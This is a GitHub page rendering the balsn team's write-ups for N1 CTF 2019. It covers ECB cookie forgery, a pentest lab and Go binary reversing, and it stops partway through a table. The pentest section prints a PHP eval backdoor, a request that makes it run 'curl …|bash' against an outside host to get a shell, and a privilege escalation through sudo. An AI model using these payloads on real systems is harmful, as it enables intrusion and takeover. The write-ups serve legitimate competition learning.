-
Notifications
You must be signed in to change notification settings - Fork 38
/
Copy pathindex.html
1262 lines (1114 loc) · 81.5 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<!DOCTYPE HTML>
<!-- This page is modified from the template https://www.codeply.com/go/7XYosZ7VH5 by Carol Skelly (@iatek). -->
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>N1 CTF 2019</title>
<link type="text/css" rel="stylesheet" href="../assets/css/github-markdown.css">
<link type="text/css" rel="stylesheet" href="../assets/css/pilcrow.css">
<link type="text/css" rel="stylesheet" href="../assets/css/hljs-github.min.css"/>
<link type="text/css" rel="stylesheet" href="../assets/css/bootstrap-4.0.0-beta.3.min.css">
<script type="text/javascript" src="../assets/js/jquery-3.3.1.slim.min.js"></script>
<script type="text/javascript" src="../assets/js/bootstrap-4.0.0-beta.3.min.js"></script>
<script type="text/javascript" src="../assets/js/popper-1.14.3.min.js"></script>
<script type="text/javascript" src="../assets/js/mathjax-2.7.4/MathJax.js?config=TeX-MML-AM_CHTML"></script>
</head>
<style>
body {
padding-top: 56px;
}
.sticky-offset {
top: 56px;
}
#body-row {
margin-left:0;
margin-right:0;
}
#sidebar-container {
min-height: 100vh;
background-color: #333;
padding: 0;
}
/* Sidebar sizes when expanded and expanded */
.sidebar-expanded {
width: 230px;
}
.sidebar-collapsed {
width: 60px;
}
/* Menu item*/
#sidebar-container .list-group a {
height: 50px;
color: white;
}
/* Submenu item*/
#sidebar-container .list-group .sidebar-submenu a {
height: 45px;
padding-left: 60px;
}
.sidebar-submenu {
font-size: 0.9rem;
}
/* Separators */
.sidebar-separator-title {
background-color: #333;
height: 35px;
}
.sidebar-separator {
background-color: #333;
height: 25px;
}
.logo-separator {
background-color: #333;
height: 60px;
}
/*
active scrollspy
*/
.list-group-item.active {
border-color: transparent;
border-left: #e69138 solid 4px;
}
/*
anchor padding top
https://stackoverflow.com/a/28824157
*/
:target:before {
content:"";
display:block;
height:56px; /* fixed header height*/
margin:-56px 0 0; /* negative fixed header height */
}
</style>
<script>
// https://stackoverflow.com/a/48330533
$(window).on('activate.bs.scrollspy', function (event) {
let active_collapse = $($('.list-group-item.active').parents()[0]);
$(".collapse").removeClass("show");
active_collapse.addClass("show");
let parent_menu = $('a[href="#' + active_collapse[0].id + '"]');
$('a[href^="#submenu"]').css("border-left", "");
parent_menu.css("border-left","#e69138 solid 4px");
});
// http://docs.mathjax.org/en/latest/tex.html#tex-and-latex-math-delimiters
MathJax.Hub.Config({
tex2jax: {
inlineMath: [['$','$'], ['\\(','\\)']],
processEscapes: true
}
});
</script>
<body style="position: relative;" data-spy="scroll" data-target=".sidebar-submenu" data-offset="70">
<nav class="navbar navbar-expand-md navbar-light bg-light fixed-top">
<button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarNavDropdown" aria-controls="navbarNavDropdown" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<a class="navbar-brand" href="https://github.com/balsn/ctf_writeup">
<img src="https://github.githubassets.com/images/modules/logos_page/GitHub-Mark.png" class="d-inline-block align-top" alt="" width="30" height="30">
<span class="menu-collapsed">balsn / ctf_writeup</span>
</a>
<div class="collapse navbar-collapse" id="navbarNavDropdown">
<ul class="navbar-nav my-2 my-lg-0">
<li class="nav-item dropdown d-sm-block d-md-none">
<iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=watch&count=true&size=large&v=2" frameborder="0" scrolling="0" width="140px" height="30px"></iframe>
<iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=star&count=true&size=large" frameborder="0" scrolling="0" width="140px" height="30px"></iframe>
<a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
web
</a>
<div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
<a class="dropdown-item" href="#sql\_manage-(unsolved)">sql\_manage-(unsolved)</a>
<a class="dropdown-item" href="#part4-micro-nya-(unsolved)">part4-micro-nya-(unsolved)</a>
<a class="dropdown-item" href="#old-attack(step1)">old-attack(step1)</a>
<a class="dropdown-item" href="#pentest-n1ctf2019.lab(step1)">pentest-n1ctf2019.lab(step1)</a>
</div>
</li>
<li class="nav-item dropdown d-sm-block d-md-none">
<a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
reverse
</a>
<div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
<a class="dropdown-item" href="#lost-in-the-deep">lost-in-the-deep</a>
<a class="dropdown-item" href="#ropvm">ropvm</a>
</div>
</li>
<li class="nav-item dropdown d-sm-block d-md-none">
<a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
misc
</a>
<div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
<a class="dropdown-item" href="#checkin">checkin</a>
<a class="dropdown-item" href="#n1egg---a-waf,-a-world">n1egg---a-waf,-a-world</a>
</div>
</li>
<li class="nav-item dropdown d-sm-block d-md-none">
<a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
crypto
</a>
<div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
<a class="dropdown-item" href="#baby-rsa">baby-rsa</a>
<a class="dropdown-item" href="#guess_ex">guess_ex</a>
</div>
</li>
<li class="nav-item dropdown d-sm-block d-md-none">
<a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
pwn
</a>
<div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
<a class="dropdown-item" href="#warmup">warmup</a>
<a class="dropdown-item" href="#line">line</a>
<a class="dropdown-item" href="#babypwn">babypwn</a>
<a class="dropdown-item" href="#babykernel">babykernel</a>
</div>
</li>
</ul>
</div>
<div class="navbar-collapse collapse w-100 order-3 dual-collapse2">
<ul class="navbar-nav ml-auto">
<iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=watch&count=true&size=large&v=2" frameborder="0" scrolling="0" width="160px" height="30px"></iframe>
<iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=star&count=true&size=large" frameborder="0" scrolling="0" width="160px" height="30px"></iframe>
</ul>
</div>
</nav>
<div class="row" id="body-row">
<div id="sidebar-container" class="sidebar-expanded d-none d-md-block col-2">
<ul class="list-group sticky-top sticky-offset">
<a href="#submenu0" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
<div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
<span class="fa fa-dashboard fa-fw mr-3"></span>
<span class="menu-collapsed">web</span>
<span class="submenu-icon ml-auto"></span>
</div>
</a>
<div id="submenu0" class="collapse sidebar-submenu">
<a href="#sql\_manage-(unsolved)" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">sql\_manage-(unsolved)</span>
</a>
<a href="#part4-micro-nya-(unsolved)" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">part4-micro-nya-(unsolved)</span>
</a>
<a href="#old-attack(step1)" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">old-attack(step1)</span>
</a>
<a href="#pentest-n1ctf2019.lab(step1)" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">pentest-n1ctf2019.lab(step1)</span>
</a>
</div>
<a href="#submenu1" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
<div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
<span class="fa fa-dashboard fa-fw mr-3"></span>
<span class="menu-collapsed">reverse</span>
<span class="submenu-icon ml-auto"></span>
</div>
</a>
<div id="submenu1" class="collapse sidebar-submenu">
<a href="#lost-in-the-deep" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">lost-in-the-deep</span>
</a>
<a href="#ropvm" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">ropvm</span>
</a>
</div>
<a href="#submenu2" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
<div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
<span class="fa fa-dashboard fa-fw mr-3"></span>
<span class="menu-collapsed">misc</span>
<span class="submenu-icon ml-auto"></span>
</div>
</a>
<div id="submenu2" class="collapse sidebar-submenu">
<a href="#checkin" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">checkin</span>
</a>
<a href="#n1egg---a-waf,-a-world" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">n1egg---a-waf,-a-world</span>
</a>
</div>
<a href="#submenu3" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
<div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
<span class="fa fa-dashboard fa-fw mr-3"></span>
<span class="menu-collapsed">crypto</span>
<span class="submenu-icon ml-auto"></span>
</div>
</a>
<div id="submenu3" class="collapse sidebar-submenu">
<a href="#baby-rsa" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">baby-rsa</span>
</a>
<a href="#guess_ex" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">guess_ex</span>
</a>
</div>
<a href="#submenu4" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
<div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
<span class="fa fa-dashboard fa-fw mr-3"></span>
<span class="menu-collapsed">pwn</span>
<span class="submenu-icon ml-auto"></span>
</div>
</a>
<div id="submenu4" class="collapse sidebar-submenu">
<a href="#warmup" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">warmup</span>
</a>
<a href="#line" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">line</span>
</a>
<a href="#babypwn" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">babypwn</span>
</a>
<a href="#babykernel" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">babykernel</span>
</a>
</div>
</ul>
</div>
<div class="col-10 py-3">
<article class="markdown-body"><h1 id="n1-ctf-2019"><a class="header-link" href="#n1-ctf-2019"></a>N1 CTF 2019</h1>
<p>The official repo is <a href="https://github.com/Nu1LCTF/n1ctf-2019">here</a>.</p>
<h2 id="web"><a class="header-link" href="#web"></a>Web</h2>
<h3 id="sql\_manage-(unsolved)"><a class="header-link" href="#sql\_manage-(unsolved)"></a>sql_manage-(unsolved)</h3>
<p>Rogue Mysql server + MySQL LOAD DATA will trigger <code>phar</code> deserialization + ThinkPHP POP chain</p>
<ul class="list">
<li>Writeup in <a href="https://www.smi1e.top/n1ctf2019-sql_manage%e5%87%ba%e9%a2%98%e7%ac%94%e8%ae%b0/">Chinese</a></li>
<li>Writeup in <a href="https://github.com/Nu1LCTF/n1ctf-2019/blob/master/WEB/sql_manage/EN_writeup.md">English</a></li>
</ul>
<h3 id="part4-micro-nya-(unsolved)"><a class="header-link" href="#part4-micro-nya-(unsolved)"></a>Part4-Micro Nya-(unsolved)</h3>
<p>The author said in the telegram channel:</p>
<blockquote>
<p>just download github.com/gogs/gogs and review the code.
and issue 5767 is a RCE
you can get a reverse shell
And it's a undisclousred 0-day, which is similar to a known 1-day</p>
</blockquote>
<p>So basically it's a 0-day/1-day RCE in gogs: <a href="https://github.com/gogs/gogs/issues/5767">issue-5767</a>. The issue indicates that the latest gogs version <code>0.11.90.0801</code> is vulnerable......</p>
<h3 id="old-attack(step1)"><a class="header-link" href="#old-attack(step1)"></a>Old Attack(step1)</h3>
<p>This is actually a warm-up crypto challenge.</p>
<p>After registering an account, we will be set a cookie <code>auth_name</code> which is base64 encoded.</p>
<p>The <code>auth_name</code> will have the following formats:</p>
<pre class="hljs"><code><span class="hljs-number">24</span>*<span class="hljs-selector-tag">p</span>: fb4d379d7d90aa4b963fbf32336bca9d c521178ec906464f23f197b0025ad6fd
<span class="hljs-number">16</span>*<span class="hljs-selector-tag">p</span>: fb4d379d7d90aa4b963fbf32336bca9d f50d78b0e3f3833799f7f07d0b97f707
<span class="hljs-number">16</span>*k: <span class="hljs-number">8309</span>f00ce73438ee8afac0832a3d731a f50d78b0e3f3833799f7f07d0b97f707</code></pre><p>Therefore, it's like a symmetric cipher in ECB mode. We can also infer that each ciphertext block has 16 bytes. This block <code>f50d78b0e3f3833799f7f07d0b97f707</code> is a 0-byte padding.</p>
<p>Our objective is to login as admin. Thus we create a user named <code>p * 16 + admin</code>, and just truncate the first block. The plaintext of the second block will be <code>admin</code>.</p>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python3</span>
<span class="hljs-keyword">import</span> requests
<span class="hljs-keyword">import</span> re
<span class="hljs-keyword">import</span> secrets
<span class="hljs-keyword">from</span> urllib.parse <span class="hljs-keyword">import</span> unquote
<span class="hljs-keyword">from</span> base64 <span class="hljs-keyword">import</span> b64decode
s = requests.session()
s.get(<span class="hljs-string">'http://150.109.197.222/'</span>)
r = s.get(<span class="hljs-string">'http://150.109.197.222/register'</span>)
token = re.findall(<span class="hljs-string">'input type="hidden" name="_token" value="(.*)">'</span>, r.text)[<span class="hljs-number">0</span>]
name = <span class="hljs-string">'p'</span> * <span class="hljs-number">16</span> + <span class="hljs-string">'admin'</span>
data = {
<span class="hljs-string">'_token'</span>: token,
<span class="hljs-string">'name'</span>: name,
<span class="hljs-string">'email'</span>: secrets.token_urlsafe(<span class="hljs-number">32</span>) + <span class="hljs-string">'@example.com'</span>,
<span class="hljs-string">'password'</span>: <span class="hljs-string">'ap0zcj2nfao'</span>,
<span class="hljs-string">'password_confirmation'</span>: <span class="hljs-string">'ap0zcj2nfao'</span>
}
print(<span class="hljs-string">'posting'</span>)
r = s.post(<span class="hljs-string">'http://150.109.197.222/register'</span>, data=data)
<span class="hljs-keyword">assert</span> <span class="hljs-string">'./userpage/'</span> <span class="hljs-keyword">in</span> r.text
auth = b64decode(unquote(r.cookies.get(<span class="hljs-string">'auth_name'</span>)))
print(auth.hex())
print(len(auth))</code></pre><p>The flag is <code>N1CTF{Cbc_is_easy_Notsaf3_s0_Old}</code>.</p>
<h3 id="pentest-n1ctf2019.lab(step1)"><a class="header-link" href="#pentest-n1ctf2019.lab(step1)"></a>Pentest N1ctf2019.lab(step1)</h3>
<p>This is a penetration testing challenge. We also need privilege escalation to read <code>/root/flag</code>.</p>
<p>Let us use nmap to perform a port scan first. The server has FTP(21),SSH(22),HTTP(80) opened. The most suspicous is FTP. We quickly login as <code>anonymous</code> and run <code>ls</code> to list files. The FTP root directory is the same as the web root.</p>
<p>There is a backdoor file named <code>mmmmm.php</code>. The parameter <code>enjoy~</code> will be evaluated. It's trivial to get RCE:</p>
<pre class="hljs"><code>Welcome to N1ctf2019.lab!
<span class="hljs-meta"><?</span>=<span class="hljs-keyword">eval</span>($_REQUEST[<span class="hljs-string">"enjoy~"</span>]);<span class="hljs-meta">?></span></code></pre><pre class="hljs"><code><span class="hljs-keyword">import</span> requests
r= requests.get(<span class="hljs-string">'http://47.52.129.242/mmmmm.php'</span>,params={<span class="hljs-string">'enjoy~'</span>: <span class="hljs-string">"system('curl 240.240.240.240:1234|bash');"</span>})</code></pre><p>We'll probably interact with tty, so run this first: </p>
<pre class="hljs"><code># http<span class="hljs-variable">s:</span>//evertpot.<span class="hljs-keyword">com</span>/<span class="hljs-number">189</span>/
<span class="hljs-keyword">python3</span> -<span class="hljs-keyword">c</span> <span class="hljs-string">"import pty; pty.spawn('/bin/bash')"</span></code></pre><p>Next, gathering the system info from <code>/etc/os-release</code> and <code>uname --all</code>. This is a pretty outdated Ubuntu:</p>
<pre class="hljs"><code>Linux web.n1ctf2019.lab 4.4.0-93-generic #116~14.04.1-Ubuntu SMP Mon Aug 14 16:07:05 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
NAME=<span class="hljs-string">"Ubuntu"</span>
VERSION=<span class="hljs-string">"14.04.5 LTS, Trusty Tahr"</span>
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME=<span class="hljs-string">"Ubuntu 14.04.5 LTS"</span>
VERSION_ID=<span class="hljs-string">"14.04"</span>
HOME_URL=<span class="hljs-string">"http://www.ubuntu.com/"</span>
SUPPORT_URL=<span class="hljs-string">"http://help.ubuntu.com/"</span>
BUG_REPORT_URL=<span class="hljs-string">"http://bugs.launchpad.net/ubuntu/"</span></code></pre><p>One of the hint is <code>Hint for Pentest N1ctf2019.lab step1(Web):https://wiki.archlinux.org/index.php/Snap</code>. Thus we quickly found this privilege escalation exploit <a href="https://github.com/initstring/dirty_sock">dirty_sock(CVE-2019-7304)</a>. However, the <code>snapd</code> on the server is <code>snapd 2.40</code> which is not vulnerable. We've also tried other privilege escalation exploits but they didn't work.</p>
<p>Then, after reading <code>/etc/passwd</code> we found there is a user name <code>dirty_sock</code>. Both <code>su dirty_sock</code> or <code>ssh dirty_sock@server</code> with password <code>dirty_sock</code> leads to successful login. Than we found this user is in sudoers. With the password we can easily get root via <code>sudo su</code>. </p>
<p><code>sudo cat /root/flag.txt</code>: <code>N1CTF{ImpOrtant_P0int3_4de0e}</code></p>
<h2 id="reverse"><a class="header-link" href="#reverse"></a>Reverse</h2>
<h3 id="lost-in-the-deep"><a class="header-link" href="#lost-in-the-deep"></a>lost in the deep</h3>
<p>It should be easy to find out that this challenge is golange reverse challenge.</p>
<p>We are given a PE32+ binary and it's stripped. Our first priority is relabeling the function in the binary.</p>
<p>I try to use <a href="https://github.com/spigwitmer/golang_loader_assist/blob/master/golang_loader_assist.py">golang_loader_assist.py</a>. But somehow it didn't work.</p>
<p>The reason is that there is no segment called <code>.gopclntab</code>. So we should fix this.</p>
<pre class="hljs"><code><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">get_gopclntab_seg</span><span class="hljs-params">()</span>:</span>
<span class="hljs-comment"># .gopclntab found in PE & ELF binaries, __gopclntab found in macho binaries</span>
<span class="hljs-keyword">return</span> _get_seg([<span class="hljs-string">'.gopclntab'</span>, <span class="hljs-string">'__gopclntab'</span>])</code></pre><p>Once we relabeled the functions, we can find two suspicious functions: <code>main_check</code> and <code>main_dec</code></p>
<p><code>main_dec</code> decodes your input. It's a base64 decoder with a customized table <code>y17nEl9DBfHIvb42qs+xG5NKcO/6moMzYtSeApg8LZFC3TkUu0JihWRrwdQaXVPj</code></p>
<p><code>main_check</code> is like a variation of knapsack problem. you need maxmize the value while the weight limit is <code>0xe9</code>. But at the being we can only take [0]. After [0] is taken. it unlock [1], [2], [3], [4]. So the rule is that we need to unlock the options before we take them.</p>
<pre class="hljs"><code> value, weight, unlock options
<span class="hljs-comment">[0]</span> , 0x52 , 0x6 : <span class="hljs-comment">[1]</span> <span class="hljs-comment">[2]</span> <span class="hljs-comment">[3]</span> <span class="hljs-comment">[4]</span>
<span class="hljs-comment">[1]</span> , 0x2e , 0x1f: <span class="hljs-comment">[5]</span> <span class="hljs-comment">[6]</span> <span class="hljs-comment">[7]</span>
<span class="hljs-comment">[2]</span> , 0x35 , 0x28:
<span class="hljs-comment">[3]</span> , 0xf , 0xa : <span class="hljs-comment">[8]</span> <span class="hljs-comment">[9]</span> <span class="hljs-comment">[a]</span> <span class="hljs-comment">[b]</span> <span class="hljs-comment">[c]</span>
<span class="hljs-comment">[4]</span> , 0x2 , 0x12: <span class="hljs-comment">[d]</span> <span class="hljs-comment">[e]</span>
<span class="hljs-comment">[5]</span> , 0x33 , 0x16: <span class="hljs-comment">[f]</span> <span class="hljs-comment">[g]</span>
<span class="hljs-comment">[6]</span> , 0x36 , 0x16:
<span class="hljs-comment">[7]</span> , 0xe , 0x10: <span class="hljs-comment">[h]</span> <span class="hljs-comment">[i]</span> <span class="hljs-comment">[j]</span> <span class="hljs-comment">[k]</span>
<span class="hljs-comment">[8]</span> , 0x1 , 0x24: <span class="hljs-comment">[l]</span> <span class="hljs-comment">[m]</span> <span class="hljs-comment">[n]</span>
<span class="hljs-comment">[9]</span> , 0x2b , 0x11:
<span class="hljs-comment">[a]</span> , 0x56 , 0x6 : <span class="hljs-comment">[o]</span> <span class="hljs-comment">[p]</span> <span class="hljs-comment">[q]</span>
<span class="hljs-comment">[b]</span> , 0x2e , 0x8 : <span class="hljs-comment">[r]</span> <span class="hljs-comment">[s]</span> <span class="hljs-comment">[t]</span>
<span class="hljs-comment">[c]</span> , 0x2f , 0x22:
<span class="hljs-comment">[d]</span> , 0x63 , 0x11:
<span class="hljs-comment">[e]</span> , 0x4b , 0x32:
<span class="hljs-comment">[f]</span> , 0x36 , 0x29: <span class="hljs-comment">[u]</span>
<span class="hljs-comment">[g]</span> , 0x6 , 0x2 : <span class="hljs-comment">[v]</span> <span class="hljs-comment">[w]</span> <span class="hljs-comment">[x]</span> <span class="hljs-comment">[y]</span> <span class="hljs-comment">[z]</span>
<span class="hljs-comment">[h]</span> , 0x1e , 0x22: <span class="hljs-comment">[A]</span>
<span class="hljs-comment">[i]</span> , 0x38 , 0x21: <span class="hljs-comment">[B]</span>
<span class="hljs-comment">[j]</span> , 0x4f , 0xb :
<span class="hljs-comment">[k]</span> , 0x2c , 0x17: <span class="hljs-comment">[C]</span>
<span class="hljs-comment">[l]</span> , 0x1a , 0x2b: <span class="hljs-comment">[D]</span> <span class="hljs-comment">[E]</span> <span class="hljs-comment">[F]</span>
<span class="hljs-comment">[m]</span> , 0x19 , 0x1 : <span class="hljs-comment">[G]</span> <span class="hljs-comment">[H]</span>
<span class="hljs-comment">[n]</span> , 0x52 , 0x30: <span class="hljs-comment">[I]</span>
<span class="hljs-comment">[o]</span> , 0x4 , 0x2 :
<span class="hljs-comment">[p]</span> , 0x10 , 0x3 :
<span class="hljs-comment">[q]</span> , 0x5c , 0xf : <span class="hljs-comment">[J]</span>
<span class="hljs-comment">[r]</span> , 0x52 , 0x20: <span class="hljs-comment">[K]</span> <span class="hljs-comment">[L]</span> <span class="hljs-comment">[M]</span>
<span class="hljs-comment">[s]</span> , 0x36 , 0x8 : <span class="hljs-comment">[N]</span>
<span class="hljs-comment">[t]</span> , 0x47 , 0x30:
<span class="hljs-comment">[u]</span> , 0x62 , 0x2c:
<span class="hljs-comment">[v]</span> , 0x47 , 0x2 : <span class="hljs-comment">[O]</span> <span class="hljs-comment">[P]</span>
<span class="hljs-comment">[w]</span> , 0x31 , 0x8 : <span class="hljs-comment">[Q]</span> <span class="hljs-comment">[R]</span> <span class="hljs-comment">[S]</span> <span class="hljs-comment">[T]</span>
<span class="hljs-comment">[x]</span> , 0x13 , 0x1d:
<span class="hljs-comment">[y]</span> , 0xf , 0x1d:
<span class="hljs-comment">[z]</span> , 0x3d , 0x32: <span class="hljs-comment">[U]</span> <span class="hljs-comment">[V]</span> <span class="hljs-comment">[W]</span> <span class="hljs-comment">[X]</span>
<span class="hljs-comment">[A]</span> , 0x64 , 0x5 :
<span class="hljs-comment">[B]</span> , 0x41 , 0x16:
<span class="hljs-comment">[C]</span> , 0xd , 0x14: <span class="hljs-comment">[Y]</span> <span class="hljs-comment">[Z]</span>
<span class="hljs-comment">[D]</span> , 0xe , 0x1b: <span class="hljs-comment">[!]</span>
<span class="hljs-comment">[E]</span> , 0x48 , 0x1c: <span class="hljs-comment">["]</span>
<span class="hljs-comment">[F]</span> , 0x2e , 0x2d: <span class="hljs-comment">[#]</span>
<span class="hljs-comment">[G]</span> , 0x47 , 0xd :
<span class="hljs-comment">[H]</span> , 0x3b , 0x27: <span class="hljs-comment">[$]</span>
<span class="hljs-comment">[I]</span> , 0x54 , 0x11: <span class="hljs-comment">[%]</span>
<span class="hljs-comment">[J]</span> , 0x1a , 0x4 : <span class="hljs-comment">[&]</span>
<span class="hljs-comment">[K]</span> , 0xb , 0x22:
<span class="hljs-comment">[L]</span> , 0x13 , 0x11: <span class="hljs-comment">[']</span>
<span class="hljs-comment">[M]</span> , 0x4a , 0x28: <span class="hljs-comment">[(]</span>
<span class="hljs-comment">[N]</span> , 0x24 , 0xb :
<span class="hljs-comment">[O]</span> , 0x4f , 0x20:
<span class="hljs-comment">[P]</span> , 0x2d , 0x32: <span class="hljs-comment">[)]</span>
<span class="hljs-comment">[Q]</span> , 0x51 , 0x15:
<span class="hljs-comment">[R]</span> , 0x7 , 0x11: <span class="hljs-comment">[*]</span>
<span class="hljs-comment">[S]</span> , 0x36 , 0x1c:
<span class="hljs-comment">[T]</span> , 0x3b , 0x1c: <span class="hljs-comment">[+]</span> <span class="hljs-comment">[,]</span>
<span class="hljs-comment">[U]</span> , 0x63 , 0x6 : <span class="hljs-comment">[-]</span> <span class="hljs-comment">[.]</span> <span class="hljs-comment">[/]</span>
<span class="hljs-comment">[V]</span> , 0x4 , 0x1a:
<span class="hljs-comment">[W]</span> , 0x10 , 0x19: <span class="hljs-comment">[:]</span> <span class="hljs-comment">[;]</span>
<span class="hljs-comment">[X]</span> , 0x23 , 0x3 :
<span class="hljs-comment">[Y]</span> , 0x28 , 0x24: <span class="hljs-comment">[<]</span>
<span class="hljs-comment">[Z]</span> , 0x23 , 0x13:
<span class="hljs-comment">[!]</span> , 0x13 , 0xd :
<span class="hljs-comment">["]</span> , 0x55 , 0x22: <span class="hljs-comment">[=]</span>
<span class="hljs-comment">[#]</span> , 0x12 , 0x4 :
<span class="hljs-comment">[$]</span> , 0x1f , 0x2b:
<span class="hljs-comment">[%]</span> , 0x8 , 0x2b: <span class="hljs-comment">[>]</span>
<span class="hljs-comment">[&]</span> , 0x1d , 0x16:
<span class="hljs-comment">[']</span> , 0x14 , 0x15:
